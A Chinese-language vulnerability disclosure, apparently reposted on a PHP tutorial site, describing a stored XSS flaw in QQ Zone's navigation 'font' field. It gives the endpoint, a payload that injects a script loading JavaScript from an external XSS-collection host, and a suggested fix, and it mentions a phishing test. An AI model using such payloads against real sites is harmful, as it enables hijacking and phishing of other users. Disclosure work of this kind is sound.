来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 简要描述:QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!...
简要描述:QQ空间某处信息保存时,有字段未对恶意代码进行过滤,导致可以调用任意外部javascript文件。当其它用户访问含有此代码的空间时, 可通过伪造钓鱼页面(试了,效果不错!!仅测试哦,警察叔叔别抓我)或者其它方式来使用该漏洞。 详细说明:详细说明,见漏洞证明过程。 漏洞证明:由于浏览器对script标记处理上的一些差异,本测试中的利用代码,是IE-only的。 其它浏览器下的漏洞利用代码,没去构造。
1. 在QQ空间,保存导航信息的时候,请求如下。
http://w.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_setinfo?g_tk=496042128 POST的数据中,"font" 字段的内容未被过滤, 导致可以插入代码。
2. 发送数据时,font的内容插入以下代码
encodeURIComponent('",a:(document.getElementsByTagName("script")[2].src="http://xssreport.sinaapp.com/t/22.js"),b:"')
3. -。- 写了个小工具,方便提交, 保存导航信息成功,如下图:
4. 刷新自己QQ空间,因为QQ空间的导航要加载以下地址。
http://r.qzone.qq.com/cgi-bin/navigation/qzone_cgi_nav_getinfo?uin=228715××&tt=163323&g_tk=1637512342
加载内容如下:
callback( {"font":"恶意构造的代码", "size":12, "bold":0, "colors":"FFFFFF|ED1E79|29ABE2", "items":[{"href":-1, "name":"主页", .... );
可以在内容里看到我们的恶意构造的JS
5. 因而可以看到我们调用的外部JS中弹出的提示。
修复方案:
保存导航信息时,过滤font 字段的内容。
其实font的长度也可以设置的更短下,一般字体长度也没多长吧。。 作者 gainover |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com